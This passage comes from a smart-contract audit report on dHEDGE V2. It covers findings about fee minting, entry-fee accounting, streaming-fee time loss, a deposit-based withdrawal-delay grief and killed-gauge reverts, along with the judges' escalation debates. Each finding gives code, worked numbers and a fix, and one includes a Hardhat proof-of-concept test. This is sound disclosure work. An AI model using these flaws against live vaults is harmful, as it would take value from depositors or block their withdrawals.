After a year, lets say the fund grew 4%, to a now value of 1040 dollars. Lets assume the streaming fee is 5% and the performance fee is 20%.

When calculating the manager fees, the `currentTokenPrice` is now calculated as `1040 * 1e18 / 1000 = 1.04e18`, so a potential profit! So the manager gets minted their performance shares = `40 * 1000 * 20/100 / 1040 = 7.69 shares`. Further, they also get minted the streaming fee shares = `1000*5/100 = 50 shares`.

So the manager gets minted 57.69 shares in total, and the `totalSupply` of the fund now grows to 1057.69 shares.

For the end user, the fund value before the manager fee mint was 1e18. After the fee nit, their fund value is `1040 * 1e18 / 1057.69 = 0.983e18`.

So for the end users, the `tokenValue` has actually decreased while they are still charged a performance fee.

Furthermore, the `tokenPriceAtLastFeeMint` is updated only if the tokenprice rises after the mint.

```
if (daoFee > 0) _mint(daoAddress, daoFee);
if (managerFee > 0) _mint(manager(), managerFee);
uint256 currentTokenPrice = _tokenPrice(fundValue, tokenSupply);
if (tokenPriceAtLastFeeMint < currentTokenPrice) {
    tokenPriceAtLastFeeMint = currentTokenPrice;
}
```

In this case, since the token price did not rise, they `tokenPriceAtLastFeeMint` stays the same (1e18), and the manager will be minted performance fees again if they beat the target of 1e18. This is unfair, since the manager already collected fees based on the assumption that they beat the target already last term with the new price of `1.04e18`.

So in essence, if streaming fees are higher than the fund growth, the manager can keep beating the same old target over and over and keep collecting performance fees. The end user are not able to capture any part of this `growth`, and thus keeps seeing their holding values decrease over time even though their manager is collecting performance based bonuses.

Impact

Manager can beat the same target multiple times and keep collecting performance fees without updating the target. Users dont get a loss, while the manager collects performance fees.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L737-L763

Tool used

Manual Review

Recommendation

Update the `tokenPriceAtLastFeeMint` to the tokenprice used for bonus calculation, and not the current price after share dilution. In the above example, the `tokenPriceAtLastFeeMint` should be set to `1.04e18`, so that way the manager has to hit this new price target in order to collect performance fees in the next year. This will prevent managers from collecting performance fees with the same target year over year.

Discussion

nevillehuang

What justifies high severity here? Seems like it requires certain preconditions for a small profit that doesn't warrant high severity

carrotsmuggler2

Added high severity since it leads to manager griefing with fees. The fee amounts will still be limited, so medium also does sound appropriate. Would leave it up to you @nevillehuang

rashtrakoff

Upon reviewing this issue, I think it's invalid as the Watson has assumed that in the following line https://github.com/sherlock-audit/2024-05-dhedge/blob/31d730e94f8b0dfd9cf05e4230f649c4ab06d906/V2-Public/contracts/PoolLogic.sol#L759

`currentPrice` refers to the price after fee shares have been minted. That's not the case though as the arguments passed to `_tokenPrice` are values which have bee stored before fee shares were minted. So we are storing the token price of the fund before fee shares were minted.

Issue M-10: A manager benefits immediately when there is an entry fee.

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/69

Found by

aslanbek, ether_sky

Summary

Whenever users `deposit` tokens into the `dHedge Pool`, we take a `snapshot` of the current `token price` at the `last fee mint point`. The `manager` can `profit` from the increase in `token price` and the time passed since the `last mint time`. When users `deposit` tokens, the `manager fee` accumulated up to that point is credited to the `manager`.

However, since the `last mint token price` is incorrectly recorded, the `manager` can immediately profit again, causing a reduction in `token price` within the same block.

Vulnerability Detail

Imagine the `total fund` is `F` and the `total share` is `S` at this point. Then current `token price` is `F/S`. Now, imagine a user `deposits` tokens worth `f` into the `dHedge Pool`. During this deposit, the `manager fee` `ms` accumulated up to this point is credited to the `manager`.

```
function _depositFor(
  address _recipient,
  address _asset,
  uint256 _amount,
  uint256 _cooldown
) private onlyAllowed(_recipient) whenNotFactoryPaused whenNotPaused returns
↪  (uint256 liquidityMinted) {
  require(IPoolManagerLogic(poolManagerLogic).isDepositAsset(_asset), "invalid
↪  deposit asset");

  uint256 fundValue = _mintManagerFee(); // @audit, here
  ...
}
```

And the current price `F/S` is recorded as the `last fee mint token price`.

```
function _mintManagerFee() internal returns (uint256 fundValue) {
  fundValue = IPoolManagerLogic(poolManagerLogic).totalFundValueMutable();
  uint256 tokenSupply = totalSupply();
  uint256 currentTokenPrice = _tokenPrice(fundValue, tokenSupply);
  if (tokenPriceAtLastFeeMint < currentTokenPrice) {
    tokenPriceAtLastFeeMint = currentTokenPrice;  // @audit, here
  }
  lastFeeMintTime = block.timestamp;
}
```

The issue arises when a `non-zero entry fee` is applied. After the `deposit`, the `final token price` will be higher than `F/S`. If the new `share` for the `depositor` is `s`, then `f/s > F/S` due to the `entry fee`.

```
function _depositFor(
  address _recipient,
  address _asset,
  uint256 _amount,
  uint256 _cooldown
) private onlyAllowed(_recipient) whenNotFactoryPaused whenNotPaused returns
↪  (uint256 liquidityMinted) {
  (, , uint256 entryFeeNumerator, uint256 denominator) =
↪  IPoolManagerLogic(poolManagerLogic).getFee();

  if (totalSupplyBefore > 0) {
    // Accounting for entry fee while calculating liquidity to be minted.
    liquidityMinted = usdAmount.mul(totalSupplyBefore).mul(denominator.sub(entry
↪  FeeNumerator)).div(fundValue).div(
      denominator
    );
  } else {
    // This is equivalent to doing liquidityMinted = liquidityMinted * (1 -
↪  entryFeeNumerator/denominator).
    liquidityMinted =
↪  usdAmount.mul(denominator.sub(entryFeeNumerator)).div(denominator);
  }
}
```

As a result, the `current token price (F + f) / (S + s + ms)` can be larger than `F/S`.

This means if anyone calls the `mintManagerFee` function again in the same block, the additional `manager fee` is credited even though no time has passed since the `last fee mint`.

```
function _availableManagerFee(
  uint256 _fundValue,
  uint256 _tokenSupply,
  uint256 _performanceFeeNumerator,
  uint256 _managerFeeNumerator,
  uint256 _feeDenominator
) internal view returns (uint256 available) {
  if (_tokenSupply == 0 || _fundValue == 0) return 0;

  uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);

  if (currentTokenPrice > tokenPriceAtLastFeeMint) {
    available = currentTokenPrice
      .sub(tokenPriceAtLastFeeMint)
      .mul(_tokenSupply)
      .mul(_performanceFeeNumerator)
      .div(_feeDenominator)
      .div(currentTokenPrice);
  }
}
```

This results in the `depositor` receiving `shares` at a token price `(F + f) / (S + s + ms)` that immediately drops within the same block.

The log for the test is as below:

```
manager share before    =>  891000000000000
manager share after     =>  9710464583763900
```

Please add below test to the `test/unit/PoolLogicTest.ts`:

```
it("should account for entry fee when totalSupply is 0", async function () {
  const PoolManagerLogic = await ethers.getContractFactory("PoolManagerLogic");
  const poolManagerLogicAddr = await poolLogicProxy.poolManagerLogic();
  const poolManagerLogicProxy = PoolManagerLogic.attach(poolManagerLogicAddr);

  // refresh timestamp of Chainlink price round data
  await updateChainlinkAggregators(usdcPriceFeed, wethPriceFeed, linkPriceFeed);
  await assetHandler.setChainlinkTimeout(9000000);

  // Set the entry fee as 1.
  await poolManagerLogicProxy.connect(manager).announceFeeIncrease(10, 0, 100);

  await ethers.provider.send("evm_increaseTime", [3600 * 24 * 7 * 4]); // add 4
↪  weeks
```

```
  await poolManagerLogicProxy.connect(manager).commitFeeIncrease();

  await poolLogicProxy.connect(investor).deposit(usdcProxy.address,
↪  (100e6).toString());

  await poolLogicProxy.connect(investor).deposit(usdcProxy.address,
↪  (1000e6).toString());
  console.log('manager share before   => ', await
↪  poolLogicProxy.balanceOf(manager.address));
  await poolLogicProxy.mintManagerFee();
  console.log('manager share after    => ', await
↪  poolLogicProxy.balanceOf(manager.address));
});
```

Impact

Of course, I agree that the `manager` can benefit from the `token price increase`. However, this `immediate token price increase` does not result from the `manager's good strategy`; it comes from the `new deposits` by this `depositor`. So the `unfair aspect` for the new `depositor` is that they may experience an `immediate token price decrease` within the same block. Therefore, the `manager` should not be able to profit from this.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L279 https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L758-L761 https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L293-L301 https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L703-L712

Tool used

Manual Review

Recommendation

```
function _depositFor(
  address _recipient,
  address _asset,
  uint256 _amount,
  uint256 _cooldown
```

```
) private onlyAllowed(_recipient) whenNotFactoryPaused whenNotPaused returns
↪  (uint256 liquidityMinted) {
  (, , uint256 entryFeeNumerator, uint256 denominator) =
↪  IPoolManagerLogic(poolManagerLogic).getFee();

  if (totalSupplyBefore > 0) {
    // Accounting for entry fee while calculating liquidity to be minted.
    liquidityMinted = usdAmount.mul(totalSupplyBefore).mul(denominator.sub(entry
↪  FeeNumerator)).div(fundValue).div(
      denominator
    );
  } else {
    // This is equivalent to doing liquidityMinted = liquidityMinted * (1 -
↪  entryFeeNumerator/denominator).
    liquidityMinted =
↪  usdAmount.mul(denominator.sub(entryFeeNumerator)).div(denominator);
  }

  uint256 fundValueAfter = fundValue.add(usdAmount);
  uint256 totalSupplyAfter = totalSupplyBefore.add(liquidityMinted);

+  uint256 currentTokenPrice = _tokenPrice(fundValueAfter , totalSupplyAfter);
+  if (tokenPriceAtLastFeeMint < currentTokenPrice) {
+    tokenPriceAtLastFeeMint = currentTokenPrice;
+  }
+  lastFeeMintTime = block.timestamp;
}
```

Discussion

spacegliderrrr

Escalate

Impact is negligible. With deposit and performance fees being around 1%, the newly generated fee will be `0.01% * deposit` which shouldn't justify Medium severity.

sherlock-admin3

> Escalate
>
> Impact is negligible. With deposit and performance fees being around 1%, the newly generated fee will be `0.01% * deposit` which shouldn't justify Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

If the deposits is large, wouldn't it be significant?

etherSky111

Yeah, please check the PoC. The important thing is:

```
However, this immediate token price increase does not result from the manager's
↪  good strategy; it comes from the new deposits by this depositor.
```

I don't understand how do you get this `0.01% * deposit`, but is this always ignorable? And please compare with `manager fee` itself not with `deposit`.

santipu03

The dHEDGE docs state the following:

https://docs.dhedge.org/dhedge-protocol/vault-fees/performance-fees

> The Manager only receives a performance fee if the overall vault tokens have an appreciated price beyond the previous high water mark, and not on an individual to individual basis.

When a deposit occurs and there's a non-zero entry fee, technically all the vault tokens increase in price so the manager should receive a performance fee.

According to the docs, the *issue* described in this report is just the intended design, and therefore it should be invalid.

etherSky111

@santipu03 , I don't have words to say.

```
However, this immediate token price increase does not result from the manager's
↪  good strategy;
it comes from the new deposits by this depositor.
```

This is not related to entry fee. The entry fee was already applied.

santipu03

> However, this immediate token price increase does not result from the manager's good strategy; it comes from the new deposits by this depositor.

Nowhere in the documentation is stated that the performance fees should only be minted when the manager has a good strategy.

The docs describe that the manager can mint the performance fee when the Vault tokens have appreciated in value, and that is exactly what happens when a user makes a deposit and there is a non-zero entry fee, like in the scenario outlined by the report.

From what I can see, the current implementation aligns with the specification on the docs, so it seems that this issue is just describing the intended design of the protocol.

etherSky111

Ah, you again said about doc including ReadMe. Are you sure it's possible to describe the all possible cases in the ReadMe?

WangSecurity

Firstly, as I understand, the report talks about entry fee, not the performance fee, or it's the same?

Secondly, I'm not sure the following math from the report is incorrect:

> As a result, the current token price (F + f) / (S + s + ms) can be larger than F/S.

For example, F = 50, f = 25, S = 100, s = 50, ms = 5 (I understand the real fee won't be 20%, it's just an example), in that case, the current tokens price `(50 + 25) / (100 + 50 + ms)` < 50 / 100`because the denominator becomes larger. Even if we change the numbers and F = 100, f = 50, S = 50, s = 25, ms = 5,`F/S' is still larger, because the denominator has a larger relative increase.

etherSky111

`Firstly, as I understand, the report talks about entry fee, not the performance fee, or it's the same?` answer: they are not the same. Entry fee is for depositors and performance fee is for managers. The calculation of performance fee is implemented correctly, but the additional performance fee can be generated accidently when the entry fee is applied to the depositors.

Regarding the above example, please consider below.

```
If the new share for the depositor is s, then f/s > F/S due to the entry fee.
```

When non-zero entry fee is applied, the depositor will create shares with higher price. In the above example, `f/s` = `F/S` i.e. there was no entry fee.

The specific numerical example was illustrated in the PoC. Agree that this is a little complicated report, but the below is important.

```
However, this immediate token price increase does not result from the manager's
↪  good strategy;
```

```
it comes from the new deposits by this depositor.
```

WangSecurity

Thank you, to make sure I understand the flow here. The user deposits, the manager gets the entry fee. Due to the entry fee, the price is higher than it was, resulting in the manager getting the performance fee as well. They collect the performance fee in the very same block as the deposit, leading to the Vault token price decreasing. And the manager fee was minted twice in the same block (entry and performance fee).

Therefore, due to the enabled entry fee, the performance will always be larger, than in the very same situation without the entry fee?

etherSky111

Before anyone deposit new tokens, the manager can collect the accumulated performance fees. When the manager applied good strategy and the token price increases, the manager can get benefit from this. This is correct and well designed. However, when there is an entry fee, the token price jumps immediately and this is not obviously the result of the manager's strategy. The manager already collect performance fee until the current block. Due to this jumping of price, the manager can collect performance fee immediately in the same block.

The reason is that we didn't update this jumped price as the current token price.

etherSky111

> Thank you, to make sure I understand the flow here. The user deposits, the manager gets the entry fee. Due to the entry fee, the price is higher than it was, resulting in the manager getting the performance fee as well. They collect the performance fee in the very same block as the deposit, leading to the Vault token price decreasing. And the manager fee was minted twice in the same block (entry and performance fee).
>
> Therefore, due to the enabled entry fee, the performance will always be larger, than in the very same situation without the entry fee?

correct

WangSecurity

I believe the issue is correctly judged here since just enabling the entry fee automatically makes the performance fee larger, which I believe is not the design and not an intended way to calculate the performance fee. Planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/939

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-11: `lastFeeMintTime` is updated even when `streamingFee` is zero leading to manager fee losses

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/83

Found by

ck

Summary

`lastFeeMintTime` is updated even when `streamingFee` is zero leading to manager fee losses

Vulnerability Detail

The function `_availableManagerFee` is used in calculating `streamingFee`. The fee depends majorly on `_tokenSupply` and `timeChange`

```
// this timestamp for old pools would be zero at the first time
if (lastFeeMintTime != 0) {
  uint256 timeChange = block.timestamp.sub(lastFeeMintTime);
  uint256 streamingFee = _tokenSupply.mul(timeChange).mul(_managerFeeNumerator).
↪   div(_feeDenominator).div(365 days);
  available = available.add(streamingFee);
}
```

Let's say `_tokenSupply = 200000`, `timeChange = 3600`, `_managerFeeNumerator = 300`, `_feeDenominator = 10000`. The streaming fee will be 0.

The issue is that in the `_mintManagerFee` function, the manager will not get minted any streaming fees but the `lastFeeMintTime` will be updated.

```
function _mintManagerFee() internal returns (uint256 fundValue) {
  fundValue = IPoolManagerLogic(poolManagerLogic).totalFundValueMutable();
  uint256 tokenSupply = totalSupply();


  (uint256 performanceFeeNumerator, uint256 managerFeeNumerator, , uint256
↪   managerFeeDenominator) = IPoolManagerLogic(
    poolManagerLogic
  ).getFee();


  uint256 available = _availableManagerFee(
```

```
    fundValue,
    tokenSupply,
    performanceFeeNumerator,
    managerFeeNumerator,
    managerFeeDenominator
  );


  address daoAddress = IHasDaoInfo(factory).daoAddress();
  uint256 daoFeeNumerator;
  uint256 daoFeeDenominator;


  (daoFeeNumerator, daoFeeDenominator) = IHasDaoInfo(factory).getDaoFee();


  uint256 daoFee = available.mul(daoFeeNumerator).div(daoFeeDenominator);
  uint256 managerFee = available.sub(daoFee);


  if (daoFee > 0) _mint(daoAddress, daoFee);


  if (managerFee > 0) _mint(manager(), managerFee);


  uint256 currentTokenPrice = _tokenPrice(fundValue, tokenSupply);
  if (tokenPriceAtLastFeeMint < currentTokenPrice) {
    tokenPriceAtLastFeeMint = currentTokenPrice;
  }


  lastFeeMintTime = block.timestamp;
```

In effect the manager will get `0` fees for that one hour that has passed because the next time the function is called that hour will not be taken into account due to the update of `lastFeeMintTime`

Impact

Loss of manager fees.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L714-L719

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L729-L763

Tool used

Manual Review

Recommendation

Only update the `lastFeeMintTime` to `block.timestamp` if `streamingFee` is greater than `0`

Discussion

iamckn

Escalate

The duplicate issue #112 was invalidated by claiming it occurs when there are no deposits. The example in this issue shows that is not the case and the issue can happen even when there are deposits. Also note that these fees are calculated after almost every user operation and so the calling of functions over small time changes is expected during normal operation.

sherlock-admin3

> Escalate
>
> The duplicate issue #112 was invalidated by claiming it occurs when there are no deposits. The example in this issue shows that is not the case and the issue can happen even when there are deposits. Also note that these fees are calculated after almost every user operation and so the calling of functions over small time changes is expected during normal operation.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

I've got the question about these variables:

> Let's say _tokenSupply = 200000, timeChange = 3600, _managerFeeNumerator = 300, _feeDenominator = 10000. The streaming fee will be 0

token supply here means 200,000 tokens? Shouldn't be then 200000e18? About `_managerFeeNumerator = 300, _feeDenominator = 10000`, I don't see them being set in the code, could you assist me on where you got these examples from?

iamckn

No, the minimum token supply is 100_000 explicitly set in code. I chose the value 200_000 (twice the minimum value) as an example that passes that threshold.

```
// Calculating how much pool token supply will be left after withdrawal and
// whether or not this satisfies the min supply (100_000) check.
// If the user is redeeming all the shares then this check passes.
// Otherwise, they might have to reduce the amount to be withdrawn.
uint256 supplyAfter = totalSupply().sub(_fundTokenAmount);
require(supplyAfter >= 100_000 || supplyAfter == 0, "below supply threshold");
```

The fee values are values from the `PoolFactory` contract

```
_setMaximumFee(5000, 300, 100, 10000); // 50% manager fee, 3% streaming fee, 1%
↪  entry fee
```

I chose `3600` seconds for the time change between user actions as an example. For an active protocol you would expect multiple transactions in much shorter periods which makes the issue even more pronounced.

WangSecurity

Thank you for clarifications. I agree the comment under #112 doesn't apply here and this situation can happen even when the are deposits into the pool. #112 will remain invalid based on the discussion underneath it and #62 will remain invalid as well, since it's incorrect (even if there's a bot to continuously call `mintManagerFee`, the time change won't remain 0, since each block has different timestamp).

Planning to accept the escalation and validate it as a solo medium, since as I understand, this issue will occur with relatively small numbers, but won't with large. Correct me if it's wrong.

iamckn

I agree.

WangSecurity

Result: Medium Unique

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- iamckn: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/949

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-12: A malicious user can delay any user's withdrawl and trnasfer by depositing minimum amount of token

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/96

The protocol has acknowledged this issue.

Found by

KupiaSec, aslanbek, carrotsmuggler, sakshamguruji

Summary

Withdrawing and transferring is cooldowned after depositing. A malicious user can delay any user's withdrawl and transfer by depositing minimum amount of token.

Vulnerability Detail

When depositing, the `lastDeposit[_recipient]` is updated to `black.timestamp` and `lastExitCooldown[_recipient]` to at least `1`(L810). It means that withdrawing and transferring of the `_recipient` is disabled at least in the same block. It only costs the value of 100000 shares, which is very cheap in practice.

https://github.com/sherlock-audit/2024-05-dhedge-KupiaSecAdmin/tree/main/V2-Public/contracts/PoolLogic.sol#L271-L343

```
  function _depositFor(
    address _recipient,
    address _asset,
    uint256 _amount,
    uint256 _cooldown
  ) private onlyAllowed(_recipient) whenNotFactoryPaused whenNotPaused returns
↪   (uint256 liquidityMinted) {
        [...]
@>  require(liquidityMinted >= 100_000, "invalid liquidityMinted");

@>  lastExitCooldown[_recipient] = calculateCooldown(
      balanceOf(_recipient),
      liquidityMinted,
      _cooldown,
      lastExitCooldown[_recipient],
      lastDeposit[_recipient],
      block.timestamp
    );
```

```
@>  lastDeposit[_recipient] = block.timestamp;

    _mint(_recipient, liquidityMinted);
        [...]
  }
```

https://github.com/sherlock-audit/2024-05-dhedge-KupiaSecAdmin/tree/main/V2-Public/contracts/PoolLogic.sol#L777-L812

```
  function calculateCooldown(
    uint256 currentBalance,
    uint256 liquidityMinted,
    uint256 newCooldown,
    uint256 lastCooldown,
    uint256 lastDepositTime,
    uint256 blockTimestamp
  ) public pure returns (uint256 cooldown) {
        [...]
      cooldown = aggregatedCooldown > newCooldown
        ? newCooldown
        : aggregatedCooldown != 0
          ? aggregatedCooldown
810:      : 1;
        [...]
  }
```

Impact

A malicious user can delay any user's withdrawl and trnasfer by depositing minimum amount of token.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge-KupiaSecAdmin/tree/main/V2-Public/contracts/PoolLogic.sol#L271-L343

Tool used

Manual Review

Recommendation

Depositing for other users should not be allowed.

Discussion

nevillehuang

Normally I would deem this as low severity given front-running is not possible on the chains supported, but due to a non-zero chance of this happening, it goes against what is described in the READ.ME, note "under any circumstances"

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

So valid medium severity per sherlock rules

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity.

Issue M-13: Withdrawals will revert when a pool contains a velodrome NFT staked in a killed gauge

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/101

Found by

bughuntoor, zzykxx

Summary

Withdrawals will revert when a pool contains a velodrome NFT staked in a killed gauge.

Vulnerability Detail

The withdrawal flow for staked velodrome/slipstrem NFT positions is arranged by VelodromeCLAssetGuard::withdrawProcessing(). Among others, there are 3 key operations arranged:

1. Withdraw the NFT from the gauge
2. Decrease the liquidity
3. Re-deposit the NFT in the gauge

The deposit is performed if any liquidity is left in the NFT position via a call to the CLGaguge:deposit() function in the correspoding gauge, but this call fails if the gauge has been killed:

```
function deposit(uint256 tokenId) external override nonReentrant {
    require(nft.ownerOf(tokenId) == msg.sender, "NA");
    ...
}
```

Impact

It will be impossible to withdraw funds because the PoolLogic::_withdrawTo() function will revert when trying to re-deposit the NFT in the killed gauge. This can be fixed by the manager via PoolLogic::_execTransaction(), hence medium severity.

Code Snippet

Tool used

Manual Review

Recommendation

In VelodromeCLAssetGuard::_addDecreaseLiquidityTransactions() don't add the transaction to re-deposit the NFT if the gauge is killed.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/941

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-14: The fee charged on new deposits is calculated incorrectly

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/102

Found by

aslanbek, zzykxx

Summary

The fee charged on new deposits is calculated incorrectly.

Vulnerability Detail

Each pool charges a fee on deposits that is redistributed to all other depositors. This is achieved by:

1. Calculating the amount of shares the depositor is supposed to receive based on the dollar value of the deposited asset
2. Minting to the depositor an amount of shares that is lower than the one they should receive, based on a fee set by the pool `manager`

These calculations are performed in PoolLogic::_depositFor():

```
...
uint256 usdAmount = IPoolManagerLogic(poolManagerLogic).assetValue(_asset,
↪  _amount);

{
    (, , uint256 entryFeeNumerator, uint256 denominator) =
↪  IPoolManagerLogic(poolManagerLogic).getFee();

    if (totalSupplyBefore > 0) {
        liquidityMinted = usdAmount.mul(totalSupplyBefore).mul(denominator.sub(e
↪  ntryFeeNumerator)).div(fundValue).div(denominator);
    } else {
        ...
    }
}
...
```

This is incorrect because the depositor itself will receive part of the fees he is supposed to pay, resulting in the depositor paying a lower fee than the intended one.

As an example, let's assume:

- `usdAmount`: 1000e18
- `fundValue`: 5000e18
- `denominator`: 10000
- `numerator`: 100
- `totalSupplyBefore`: 5000e18

This will result in `liquidityMinted` being equal to:

$$\frac{(1000e18 \cdot 5000e18 \cdot (10000 - 100))}{5000e18} \div 10000 = 9.9 \cdot 10^{20} \text{ shares}$$

As soon as the `9.9e20` shares are minted, their value will be:

$$9.9e20 \cdot \left(\frac{5000e18 + 1000e18}{5000e18 + 9.9e20} \right) = 9.9165 \cdot 10^{20} \text{ dollars}$$

A higher value than the expected value the depositor should receive, which is:

$$1000e18 \cdot (10000 - 100) \div 10000 = 9.9 \cdot 10^{20} \text{ dollars}$$

Impact

The fee paid on new deposited amounts is lower than expected leading to:

- Depositor paying a lower fee than expected
- Users that have already deposited in the pool earning less

Code Snippet

Tool used

Manual Review

Recommendation

The correct formula to determine the amount of shares to mint can be retrieved by solving the following equation for `liquidityMinted`:

$$liquidityMinted \cdot \left(\frac{fundValue + usdAmount}{totalSupplyBefore + liquidityMinted} \right) = \frac{usdAmount \cdot (denominator - numerator)}{denominator}$$

which results in:

$$liquidityMinted = \frac{(totalSupplyBefore \cdot usdAmount \cdot (denominator - numerator))}{((denominator \cdot fundValue) + (numerator \cdot usdAmount))}$$

Discussion

nevillehuang

Need a better numerical example to justify high severity because the error seems slight.

zzykxx

I think medium severity is appropriate here, in my example the fee paid is lower than the intended one by **0.16%**. Not sure what percentage would justify high severity but in my opinion **0.16%** doesn't.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/939

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-15: Perfomance fee is calculated incorrectly

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/103

Found by

aslanbek, carrotsmuggler, ck, zzykxx

Summary

The performance fee is calculated incorrectly leading to the manager and the dao receiving less than expected in terms of value.

Vulnerability Detail

The dao and the pool manager are entitled to a perfomance fee: a percentage of the profits realized by the pool. The fee is calculated both when users either deposit or withdraw and it's distributed immediately by minting new shares.

The perfomance fee is calculated by the PoolLogic::_availableManagerFee() function:

```
...
uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);

if (currentTokenPrice > tokenPriceAtLastFeeMint) {
    available = currentTokenPrice
    .sub(tokenPriceAtLastFeeMint)
    .mul(_tokenSupply)
    .mul(_performanceFeeNumerator)
    .div(_feeDenominator)
    .div(currentTokenPrice);
}
...
```

Let's assume:

- `_fundValue`: 2e18
- `_tokenSupply`: 1e18
- `currentTokenPrice`: 2e18
- `tokenPriceAtLastFeeMint`: 1e18
- `_performanceFeeNumerator`: 50
- `_feeDenominator`: 10000

With this parameters the perfomance fee should be valued:

$$(0.005 \cdot 1e18) = 5 \cdot 10^{15}\$$$

The performance fee (in terms of shares) calculated by PoolLogic::_availableManagerFee() is:

$$\frac{\frac{(2e^{18} - 1e^{18}) \cdot 1e^{18} \cdot 50}{10000}}{2e^{18}} = 2.5 \cdot 10^{15} shares$$

Meaning `2.5e15` new shares will be minted. As soon as the new shares are minted they will be valued at:

$$2.5e^{15} \cdot \left(\frac{fundValue}{(tokenSupply + 2.5e^{15})} \right) = 2.5e^{15} \cdot \left(\frac{2e^{18}}{(1e^{18} + 2.5e^{15})} \right) \approx 4.9875 \cdot 10^{15}\$$$

The performance fee value is `4.9875e15 $` instead of `5e15 $`.

Impact

The manager and the dao will receive less fees than expected, the pool depositors will earn more than expected. The fee in the example is only `0.5%` but the fee can be up to `50%` and this applies to every single pool for the whole life of the pool, hence high severity.

Code Snippet

Tool used

Manual Review

Recommendation

This happens because new shares are minted without adding funds to the pool, in such cases the formula needs to be adjusted to take this into account. The correct formula is:

$$\frac{(currentTokenPrice - tokenPriceAtLastFeeMint) \cdot performanceFeeNumerator \cdot tokenSu}{((fundValue * feeDenominator) - (performanceFeeNumerator * (currentTokenPrice - tokenPriceA}$$

which will mint:

$$\frac{(2e18 - 1e18) \cdot 50 \cdot 1e18}{((2e18 * 10000) - (50 * (2e18 - 1e18)))} = 2.5062 \cdot 10^{15} \text{ shares}$$

As soon as they are minted, the `2.5062e15` shares will be worth:

$$2.5062e15 \cdot \left(\frac{2e18}{1e18 + 2.5062e15}\right) = 4.999 \cdot 10^{15}\$$$

which is the value we are expecting based on the profit, fee numerator and fee denominator.

Discussion

nevillehuang

Does the slight error justify high severity? Need a better numerical example.

zzykxx

I was re-doing the math to figure out the maximum possible loss but I'm not sure this is actually valid. On one hand I find it hard to believe that we all hallucinated on the same issue on the other hand the code seems to be working correctly. Does the sponsor have any comment on this? I'll come back on it tomorrow, there's something I'm missing and I don't know what.

In the meanwhile can you tag the SRs that reported #1 and #43? Maybe they can help. Also #55 and #75 don't look like dups

zzykxx

Got it, the recommended fix I provided is incorrect, the one provided by #43 should be correct.

I did some math and I don't feel confident enough to argue this is high severity. I made a google sheet file for this, feel free to play with it.

nevillehuang

@zzykxx @carrotsmuggler2 I believe #55 and #75 adequately describes this issue dupe of this issue, so could be duplicated

> therefore the token price would be incorrect since the totalSupply would have been increased after the mint calls.

Issue #55 talks about it as well:

> since the totalSupply passed is the totalSupply before the mint took place therefore the price would be slightly lesser and currentTokenPrice would be calculated incorrectly.

@rashtrakoff @D-Ig Do you agree?

rashtrakoff

I don't believe #55 and #75 are duplicates. This is because the former talks about `tokenPriceAtLastFeeMint` and the latter about the performance fees. I think both are distinct. It feels they are similar only since both have identified that the issue is with incorrect accounting of change in `totalSupply`.

zzykxx

- #55 is incorrect, the fee should be minted by using the old total supply otherwise the price per token (ie. profit) would be considered lower than what it actually is
- #75 also looks incorrect, it's not true that `tokenPriceAtLastFeeMint` should be used instead of `currentTokenPrice`, this would mint the manager more value than it should. What would happen is that what I've outlined in this report as a loss would become a profit for the manager.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/945

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-16: `tokenPriceAtLastFeeMint` is not resetted to `1e18` when if the pool reaches `0` shares

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/104

Found by

zzykxx

Summary

The variable `tokenPriceAtLastFeeMint` is not resetted to `1e18` when the pool gets to a state where `totalSupply()` is `0`, resulting in the performance fee not being distributed until `currentTokenPrice` becomes bigger than `tokenPriceAtLastFeeMint` again.

Vulnerability Detail

